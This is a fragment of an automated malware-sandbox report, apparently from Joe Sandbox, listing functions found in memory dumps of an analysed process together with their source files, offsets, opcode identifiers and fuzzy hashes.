                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 2b1c202f18e5549e0fbd11c5c04426aef21db0fca405f19f6bdcf5f3c44adb32
                                                                                                                                                            • Instruction ID: 9196a6edb3f8bb6b7489ca987f083a441fabfa05fb874c0be30d2ec654400bad
                                                                                                                                                            • Opcode Fuzzy Hash: 2b1c202f18e5549e0fbd11c5c04426aef21db0fca405f19f6bdcf5f3c44adb32
                                                                                                                                                            • Instruction Fuzzy Hash: 4AC1B274E01218CFDB58DFA5C995B9DBBB2BF89304F1080A9D408AB3A5DB395E85CF50
                                                                                                                                                            Function 2911EC1B Relevance: .2, Instructions: 193COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3452939155.0000000029110000.00000040.00000800.00020000.00000000.sdmp, Offset: 29110000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_29110000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 569304a0511c6598db598bdb166493456eba543a5771fc6281a970e8f5bf6877
                                                                                                                                                            • Instruction ID: c117576421fe1d0a2935b261a4ead3977210b7e0fff2cc01373dfe48b8a71101
                                                                                                                                                            • Opcode Fuzzy Hash: 569304a0511c6598db598bdb166493456eba543a5771fc6281a970e8f5bf6877
                                                                                                                                                            • Instruction Fuzzy Hash: 38A1DC74A01228DFDB68CF65C984BDABBB2BF49304F1085EAD40DA7250CB759E82CF51
                                                                                                                                                            Function 2911EDFB Relevance: .1, Instructions: 116COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3452939155.0000000029110000.00000040.00000800.00020000.00000000.sdmp, Offset: 29110000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_29110000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 74e794195516f2a18506f1570256d5d78e839b81d0e373f44979c815fddc1891
                                                                                                                                                            • Instruction ID: e340d44c08862c401f1e894980927806a561f99c2179e03f1c06a32f0001eced
                                                                                                                                                            • Opcode Fuzzy Hash: 74e794195516f2a18506f1570256d5d78e839b81d0e373f44979c815fddc1891
                                                                                                                                                            • Instruction Fuzzy Hash: 3B51A134A01228DFCB68DF25C954B9ABBB2BF4A305F5085E9D40DA7350CB75AE82CF50
                                                                                                                                                            Function 2600DC80 Relevance: .1, Instructions: 114COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3443915543.0000000026000000.00000040.00000800.00020000.00000000.sdmp, Offset: 26000000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_26000000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 082fa88ffc917f8bab46b73fec19b34d41a99f9a2fa48b2576d84f06d149e1d6
                                                                                                                                                            • Instruction ID: 200b4483fd82bc420bbdc66f009189a7df34cda0c7cfb126569bc4b3eb83af0c
                                                                                                                                                            • Opcode Fuzzy Hash: 082fa88ffc917f8bab46b73fec19b34d41a99f9a2fa48b2576d84f06d149e1d6
                                                                                                                                                            • Instruction Fuzzy Hash: D941E0B4D003489FEB14DFA9D884A9DBFF1BF09300F20912AE815AB290D7399985DF55
                                                                                                                                                            Function 2A29FDEE Relevance: .0, Instructions: 17COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 591316a3b63ff28feee1ff3f3bd10c3ff34b4f8b1ffec94a7cd697a9b7ae497d
                                                                                                                                                            • Instruction ID: 342530afedc318ca213c439b7549bfa1625e837308bc1a0142a15eb2fbcdd515
                                                                                                                                                            • Opcode Fuzzy Hash: 591316a3b63ff28feee1ff3f3bd10c3ff34b4f8b1ffec94a7cd697a9b7ae497d
                                                                                                                                                            • Instruction Fuzzy Hash: 92D06774E54259AACB60DF69AC507ADB771AB96204F0020A68008B7510D7305A519A16